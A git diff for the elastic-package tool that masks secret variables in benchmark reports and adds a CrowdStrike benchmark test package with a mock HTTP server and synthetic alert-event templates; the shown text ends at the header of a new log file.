 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml

diff --git a/internal/benchrunner/runners/system/report.go b/internal/benchrunner/runners/system/report.go
index 65b68d5dfd..6dadda13ba 100644
--- a/internal/benchrunner/runners/system/report.go
+++ b/internal/benchrunner/runners/system/report.go
@@ -16,6 +16,7 @@ import (
 
 	"github.com/elastic/elastic-package/internal/benchrunner/reporters"
 	"github.com/elastic/elastic-package/internal/elasticsearch/ingest"
+	"github.com/elastic/elastic-package/internal/packages"
 )
 
 type report struct {
@@ -47,8 +48,8 @@ type report struct {
 	TotalHits           int
 }
 
-func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummary) (reporters.Reportable, error) {
-	r := newReport(benchName, corporaFile, s, sum)
+func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummary, secretVarNames map[string]bool) (reporters.Reportable, error) {
+	r := newReport(benchName, corporaFile, s, sum, secretVarNames)
 	human := reporters.NewReport(s.Package, reportHumanFormat(r))
 
 	jsonBytes, err := reportJSONFormat(r)
@@ -63,7 +64,7 @@ func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummar
 	return mr, nil
 }
 
-func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary) *report {
+func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary, secretVarNames map[string]bool) *report {
 	var report report
 	report.Info.Benchmark = benchName
 	report.Info.Description = s.Description
@@ -75,8 +76,11 @@ func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary)
 	report.Info.GeneratedCorporaFile = corporaFile
 	report.Parameters.PackageVersion = s.Version
 	report.Parameters.Input = s.Input
-	report.Parameters.Vars = s.Vars
-	report.Parameters.DataStream = s.DataStream
+	report.Parameters.Vars = maskSecretVars(s.Vars, secretVarNames)
+	report.Parameters.DataStream = dataStream{
+		Name: s.DataStream.Name,
+		Vars: maskSecretVars(s.DataStream.Vars, secretVarNames),
+	}
 	report.Parameters.WarmupTimePeriod = s.WarmupTimePeriod
 	report.Parameters.BenchmarkTimePeriod = s.BenchmarkTimePeriod
 	report.Parameters.WaitForDataTimeout = *s.WaitForDataTimeout
@@ -218,6 +222,52 @@ func reportHumanFormat(r *report) []byte {
 	return []byte(report.String())
 }
 
+func collectSecretVarNames(pkgManifest *packages.PackageManifest, dsManifest *packages.DataStreamManifest) map[string]bool {
+	secrets := make(map[string]bool)
+	for _, v := range pkgManifest.Vars {
+		if v.Secret {
+			secrets[v.Name] = true
+		}
+	}
+	for _, pt := range pkgManifest.PolicyTemplates {
+		for _, input := range pt.Inputs {
+			for _, v := range input.Vars {
+				if v.Secret {
+					secrets[v.Name] = true
+				}
+			}
+		}
+		for _, v := range pt.Vars {
+			if v.Secret {
+				secrets[v.Name] = true
+			}
+		}
+	}
+	for _, stream := range dsManifest.Streams {
+		for _, v := range stream.Vars {
+			if v.Secret {
+				secrets[v.Name] = true
+			}
+		}
+	}
+	return secrets
+}
+
+func maskSecretVars(vars map[string]interface{}, secretNames map[string]bool) map[string]interface{} {
+	if len(vars) == 0 || len(secretNames) == 0 {
+		return vars
+	}
+	masked := make(map[string]interface{}, len(vars))
+	for k, v := range vars {
+		if secretNames[k] {
+			masked[k] = "xxxx"
+		} else {
+			masked[k] = v
+		}
+	}
+	return masked
+}
+
 func renderBenchmarkTable(title string, kv ...interface{}) string {
 	t := table.NewWriter()
 	t.SetStyle(table.StyleRounded)
diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go
index 5f61f4757b..8db35c7ad1 100644
--- a/internal/benchrunner/runners/system/runner.go
+++ b/internal/benchrunner/runners/system/runner.go
@@ -26,7 +26,9 @@ import (
 	"github.com/elastic/elastic-package/internal/benchrunner"
 	"github.com/elastic/elastic-package/internal/benchrunner/reporters"
 	"github.com/elastic/elastic-package/internal/benchrunner/runners/common"
+	pkgcommon "github.com/elastic/elastic-package/internal/common"
 	"github.com/elastic/elastic-package/internal/configuration/locations"
+	"github.com/elastic/elastic-package/internal/environment"
 	"github.com/elastic/elastic-package/internal/kibana"
 	"github.com/elastic/elastic-package/internal/logger"
 	"github.com/elastic/elastic-package/internal/multierror"
@@ -46,6 +48,8 @@ const (
 	defaultNamespace = "ep"
 )
 
+var prefixServiceBenchRunIDEnv = environment.WithElasticPackagePrefix("PREFIX_SERVICE_TEST_RUN_ID")
+
 type runner struct {
 	options  Options
 	scenario *scenario
@@ -58,7 +62,8 @@ type runner struct {
 	mcollector        *collector
 	corporaFile       string
 
-	service servicedeployer.DeployedService
+	service        servicedeployer.DeployedService
+	secretVarNames map[string]bool
 
 	// Execution order of following handlers is defined in runner.TearDown() method.
 	deletePolicyHandler     func(context.Context) error
@@ -146,7 +151,11 @@ func (r *runner) setUp(ctx context.Context) error {
 	serviceLogsDir := locationManager.ServiceLogDir()
 	r.svcInfo.Logs.Folder.Local = serviceLogsDir
 	r.svcInfo.Logs.Folder.Agent = ServiceLogsAgentDir
-	r.svcInfo.Test.RunID = common.NewRunID()
+	prefix := ""
+	if v, found := os.LookupEnv(prefixServiceBenchRunIDEnv); found && v != "" {
+		prefix = v
+	}
+	r.svcInfo.Test.RunID = pkgcommon.CreateTestRunIDWithPrefix(prefix)
 
 	outputDir, err := servicedeployer.CreateOutputDir(locationManager, r.svcInfo.Test.RunID)
 	if err != nil {
@@ -221,6 +230,8 @@ func (r *runner) setUp(ctx context.Context) error {
 		return fmt.Errorf("reading data stream manifest failed: %w", err)
 	}
 
+	r.secretVarNames = collectSecretVarNames(pkgManifest, dataStreamManifest)
+
 	r.runtimeDataStream = fmt.Sprintf(
 		"%s-%s.%s-%s",
 		dataStreamManifest.Type,
@@ -319,7 +330,7 @@ func (r *runner) run(ctx context.Context) (report reporters.Reportable, err erro
 		return nil, fmt.Errorf("can't reindex data: %w", err)
 	}
 
-	return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum)
+	return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum, r.secretVarNames)
 }
 
 func (r *runner) setupService(ctx context.Context, serviceName string, deployerName string) (servicedeployer.DeployedService, error) {
@@ -330,7 +341,7 @@ func (r *runner) setupService(ctx context.Context, serviceName string, deployerN
 
 	// Setup service.
 	logger.Debug("Setting up service...")
-	devDeployDir := filepath.Clean(filepath.Join(r.options.BenchPath, "deploy"))
+	devDeployDir := filepath.Clean(filepath.Join(r.options.PackageRoot, r.options.BenchPath, "deploy"))
 	opts := servicedeployer.FactoryOptions{
 		PackageRoot:            r.options.PackageRoot,
 		DevDeployDir:           devDeployDir,
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
new file mode 100644
index 0000000000..82cc41c36f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
@@ -0,0 +1,27 @@
+---
+description: Benchmark 100000 alert events ingested
+input: cel
+deployer: docker
+vars:
+  url: http://{{Hostname}}:{{Port}}
+  client_id: xxxx
+  client_secret: yyyy
+  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
+data_stream:
+  name: alert
+  vars:
+    enable_request_tracer: true
+    preserve_original_event: true
+warmup_time_period: 2s
+corpora:
+  input_service:
+    name: crowdstrike
+  generator:
+    total_events: 1000
+    template:
+      path: ./alert-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./alert-benchmark/config.yml
+    fields:
+      path: ./alert-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
new file mode 100644
index 0000000000..f718388107
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
@@ -0,0 +1,105 @@
+fields:
+  - name: timestamp
+    period: -24h
+  - name: agent_id
+    cardinality: 1000
+  - name: alleged_filetype
+    cardinality: 1000
+  - name: cid
+    cardinality: 10
+  - name: comments.falcon_user_id
+    cardinality: 10000
+  - name: confidence
+    range:
+      min: 0
+      max: 100
+    cardinality: 1000
+  - name: device.platform_name
+    enum:
+      - Windows
+      - Linux
+      - Mac
+  - name: device.agent_load_flags
+    enum:
+      - '0'
+      - '1'
+      - '2'
+      - '3'
+  - name: device.platform_id
+    enum:
+      - '0'
+      - '1'
+      - '3'
+  - name: device.device_id
+    cardinality: 10000
+  - name: device.external_ipv6
+    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
+  - name: device.local_ipv6
+    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
+  - name: device.mac_address
+    value: 00:xx:xx:xx:4D:5E
+  - name: filename
+    cardinality: 10000
+  - name: hostname
+    cardinality: 10000
+  - name: id
+    cardinality: 100000
+  - name: process_end_time
+    value: 1737735358
+  - name: process_start_time
+    value: 1737735358
+  - name: product
+    enum:
+      - cwpp
+      - data-protection
+      - epp
+      - idp
+      - mobile
+      - ngsiem
+      - overwatch
+      - thirdparty
+      - xdr
+  - name: severity_name
+    enum:
+      - Low
+      - Medium
+      - High
+  - name: status
+    enum:
+      - new
+      - in_progress
+      - closed
+      - reopened
+  - name: type
+    enum:
+      - ldt
+      - ods
+      - xdr
+      - ofp
+      - ssd
+      - windows_legacy
+  - name: tree_root
+    cardinality: 100000
+  - name: tree_id
+    cardinality: 100000
+  - name: username
+    cardinality: 10000
+  - name: user_id
+    cardinality: 10000
+  - name: network_accesses.connection_direction
+    enum:
+      - outbound
+      - inbound
+      - neither
+  - name: network_accesses.local_port
+    range:
+      min: 10000
+      max: 95000
+  - name: network_accesses.protocol
+    enum:
+      - TCP
+      - UDP
+  - name: network_accesses.remote_port
+    range:
+      min: 10000
+      max: 95000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
new file mode 100644
index 0000000000..a1fa39ee44
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
@@ -0,0 +1,208 @@
+- name: agent_id
+  type: keyword
+- name: aggregate_id
+  type: keyword
+- name: alleged_filetype
+  type: keyword
+- name: cid
+  type: keyword
+- name: cmdline
+  type: keyword
+- name: comment
+  type: text
+- name: comments
+  type: group
+  fields:
+  - name: falcon_user_id
+    type: keyword
+  - name: timestamp
+    type: date
+  - name: value
+    type: text
+- name: composite_id
+  type: keyword
+- name: confidence
+  type: integer
+- name: control_graph_id
+  type: keyword
+- name: created_timestamp
+  type: date
+- name: description
+  type: text
+- name: device
+  type: group
+  fields:
+  - name: agent_load_flags
+    type: keyword
+  - name: agent_local_time
+    type: date
+  - name: agent_version
+    type: keyword
+  - name: bios_manufacturer
+    type: keyword
+  - name: bios_version
+    type: integer
+  - name: cid
+    type: keyword
+  - name: device_id
+    type: keyword
+  - name: external_ip
+    type: ip
+  - name: external_ipv6
+    type: ip
+  - name: first_seen
+    type: date
+  - name: groups
+    type: keyword
+  - name: hostinfo
+    type: group
+    fields:
+    - name: active_directory_dn_display
+      type: keyword
+    - name: domain
+      type: keyword
+  - name: hostname
+    type: keyword
+  - name: host_hidden_status
+    type: keyword
+  - name: last_seen
+    type: keyword
+  - name: instance_id
+    type: keyword
+  - name: local_ip
+    type: ip
+  - name: local_ipv6
+    type: ip
+  - name: mac_address
+    type: keyword
+  - name: machine_domain
+    type: keyword
+  - name: major_version
+    type: integer
+  - name: minor_version
+    type: integer
+  - name: modified_timestamp
+    type: date
+  - name: os_version
+    type: keyword
+  - name: ou
+    type: keyword
+  - name: platform_id
+    type: keyword
+  - name: platform_name
+    type: keyword
+  - name: pod_id
+    type: keyword
+  - name: pod_labels
+    type: keyword
+  - name: pod_name
+    type: keyword
+  - name: pod_namespace
+    type: keyword
+  - name: pod_service_account_name
+    type: keyword
+  - name: product_type
+    type: keyword
+  - name: product_type_desc
+    type: keyword
+  - name: service_provider
+    type: keyword
+  - name: service_provider_account_id
+    type: keyword
+  - name: site_name
+    type: keyword
+  - name: system_manufacturer
+    type: keyword
+  - name: system_product_name
+    type: keyword
+  - name: tags
+    type: keyword
+- name: display_name
+  type: keyword
+- name: falcon_host_link
+  type: keyword
+- name: filename
+  type: keyword
+- name: filepath
+  type: keyword
+- name: hostname
+  type: keyword
+- name: id
+  type: keyword
+- name: ioc_source
+  type: keyword
+- name: ioc_type
+  type: keyword
+- name: ioc_value
+  type: keyword
+- name: md5
+  type: keyword
+- name: network_accesses
+  type: group
+  fields:
+  - name: access_type
+    type: integer
+  - name: connection_direction
+    type: keyword
+  - name: isIPV6
+    type: boolean
+  - name: local_address
+    type: ip
+  - name: local_port
+    type: integer
+  - name: protocol
+    type: keyword
+  - name: remote_address
+    type: ip
+  - name: remote_port
+    type: integer
+- name: objective
+  type: keyword
+- name: parent_process_id
+  type: integer
+- name: pattern_id
+  type: integer
+- name: process_end_time
+  type: date
+- name: process_id
+  type: integer
+- name: process_start_time
+  type: date
+- name: product
+  type: keyword
+- name: scenario
+  type: keyword
+- name: severity
+  type: integer
+- name: severity_name
+  type: keyword
+- name: sha256
+  type: keyword
+- name: show_in_ui
+  type: boolean
+- name: status
+  type: keyword
+- name: tactic
+  type: keyword
+- name: tactic_id
+  type: keyword
+- name: technique
+  type: keyword
+- name: technique_id
+  type: keyword
+- name: timestamp
+  type: date
+- name: tree_id
+  type: keyword
+- name: tree_root
+  type: integer
+- name: triggering_process_graph_id
+  type: keyword
+- name: type
+  type: keyword
+- name: updated_timestamp
+  type: date
+- name: username
+  type: keyword
+- name: user_id
+  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
new file mode 100644
index 0000000000..2841b0f2a6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
@@ -0,0 +1,97 @@
+{{- $agent_id := generate "agent_id" }}
+{{- $aggregate_id := generate "aggregate_id" }}
+{{- $alleged_filetype := generate "alleged_filetype" }}
+{{- $access_type := generate "network_accesses.access_type" }}
+{{- $connection_direction := generate "network_accesses.connection_direction" }}
+{{- $isIPV6 := generate "network_accesses.isIPV6" }}
+{{- $local_address := generate "network_accesses.local_address" }}
+{{- $local_port := generate "network_accesses.local_port" }}
+{{- $protocol := generate "network_accesses.protocol" }}
+{{- $remote_address := generate "network_accesses.remote_address" }}
+{{- $remote_port := generate "network_accesses.remote_port" }}
+{{- $cid := generate "cid" }}
+{{- $cmdline := generate "cmdline" }}
+{{- $comment := generate "comment" }}
+{{- $falcon_user_id := generate "comments.falcon_user_id" }}
+{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $value := generate "comments.value" }}
+{{- $composite_id := generate "composite_id" }}
+{{- $confidence := generate "confidence" }}
+{{- $control_graph_id := generate "control_graph_id" }}
+{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $description := generate "description" }}
+{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }}
+{{- $agent_load_flags := generate "device.agent_load_flags" }}
+{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }}
+{{- $agent_version := generate "device.agent_version" }}
+{{- $bios_manufacturer := generate "device.bios_manufacturer" }}
+{{- $bios_version := generate "device.bios_version" }}
+{{- $device_id := generate "device.device_id" }}
+{{- $external_ip := generate "device.external_ip" }}
+{{- $external_ipv6 := generate "device.external_ipv6" }}
+{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }}
+{{- $groups := generate "device.groups" }}
+{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }}
+{{- $domain := generate "device.hostinfo.domain" }}
+{{- $host_hidden_status := generate "device.host_hidden_status" }}
+{{- $instance_id := generate "device.instance_id" }}
+{{- $local_ip := generate "device.local_ip" }}
+{{- $local_ipv6 := generate "device.local_ipv6" }}
+{{- $mac_address := generate "device.mac_address" }}
+{{- $machine_domain := generate "device.machine_domain" }}
+{{- $major_version := generate "device.major_version" }}
+{{- $minor_version := generate "device.minor_version" }}
+{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }}
+{{- $os_version := generate "device.os_version" }}
+{{- $ou := generate "device.ou" }}
+{{- $platform_id := generate "device.platform_id" }}
+{{- $platform_name := generate "device.platform_name" }}
+{{- $pod_id := generate "device.pod_id" }}
+{{- $pod_labels := generate "device.pod_labels" }}
+{{- $pod_name := generate "device.pod_name" }}
+{{- $pod_namespace := generate "device.pod_namespace" }}
+{{- $pod_service_account_name := generate "device.pod_service_account_name" }}
+{{- $product_type := generate "device.product_type" }}
+{{- $product_type_desc := generate "device.product_type_desc" }}
+{{- $service_provider := generate "device.service_provider" }}
+{{- $service_provider_account_id := generate "device.service_provider_account_id" }}
+{{- $site_name := generate "device.site_name" }}
+{{- $system_manufacturer := generate "device.system_manufacturer" }}
+{{- $system_product_name := generate "device.system_product_name" }}
+{{- $tags := generate "device.tags" }}
+{{- $display_name := generate "display_name" }}
+{{- $falcon_host_link := generate "falcon_host_link" }}
+{{- $filename := generate "filename" }}
+{{- $filepath := generate "filepath" }}
+{{- $hostname := generate "hostname" }}
+{{- $id := generate "id" }}
+{{- $ioc_source := generate "ioc_source" }}
+{{- $ioc_type := generate "ioc_type" }}
+{{- $ioc_value := generate "ioc_value" }}
+{{- $md5 := generate "md5" }}
+{{- $objective := generate "objective" }}
+{{- $parent_process_id := generate "parent_process_id" }}
+{{- $pattern_id := generate "pattern_id" }}
+{{- $process_end_time := generate "process_end_time" }}
+{{- $process_id := generate "process_id" }}
+{{- $process_start_time := generate "process_start_time" }}
+{{- $product := generate "product" }}
+{{- $scenario := generate "scenario" }}
+{{- $severity := generate "severity" }}
+{{- $severity_name := generate "severity_name" }}
+{{- $sha256 := generate "sha256" }}
+{{- $show_in_ui := generate "show_in_ui" }}
+{{- $status := generate "status" }}
+{{- $tactic := generate "tactic" }}
+{{- $tactic_id := generate "tactic_id" }}
+{{- $technique := generate "technique" }}
+{{- $technique_id := generate "technique_id" }}
+{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }}
+{{- $tree_id := generate "tree_id" }}
+{{- $tree_root := generate "tree_root" }}
+{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }}
+{{- $type := generate "type" }}
+{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
+{{- $username := generate "username" }}
+{{- $user_id := generate "user_id" }}
+{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"},
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..cfa001fee1
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
@@ -0,0 +1,16 @@
+version: "2.3"
+services:
+  crowdstrike:
+    image: docker.elastic.co/observability/stream:v0.20.0
+    hostname: crowdstrike
+    ports:
+      - 8080
+    volumes:
+      - ./files:/files:ro
+      - ${SERVICE_LOGS_DIR}:/var/log
+    environment:
+      PORT: "8080"
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
new file mode 100644
index 0000000000..8ac8e5871e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
@@ -0,0 +1,128 @@
+rules:
+  - path: /oauth2/token
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - 'application/json'
+        body: |
+          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
+  - path: /alerts/combined/alerts/v1
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
+            ]
+          }
+  - path: /devices/combined/devices/v1
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"}
+            ]
+          }
+  - path: /spotlight/combined/vulnerabilities/v1
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+            "meta": {
+              "pagination": {
+                "total": 100000,
+                "limit": 100
+              }
+            },
+            "errors": [],
+            "resources": [
+              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
+            ]
+          }
+  - path: /sensors/entities/datafeed/v2
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+              "resources": [
+                  {
+                      "dataFeedURL": "http://svc-crowdstrike:8080/events",
+                      "sessionToken": {
+                          "token": "secretsessiontoken"
+                      },
+                      "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh",
+                      "refreshActiveSessionInterval": 1800
+                  }
+              ]
+          }
+  - path: /events
+    methods: ['GET']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{- $g := glob "/var/log/corpus-*" -}}
+          {{- range $g -}}
+            {{- file . -}}
+          {{- end -}}
+  - path: /refresh
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: ''
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
new file mode 100644
index 0000000000..6e1f17f7a9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
@@ -0,0 +1,10 @@
+version: '2.3'
+services:
+  terraform:
+    environment:
+      - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}
+      - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}
+      - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}
+      - AWS_PROFILE=${AWS_PROFILE}
+      - AWS_REGION=${AWS_REGION:-us-east-1}
+      - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
new file mode 100644
index 0000000000..5cf7cfb6de
--- /dev/null
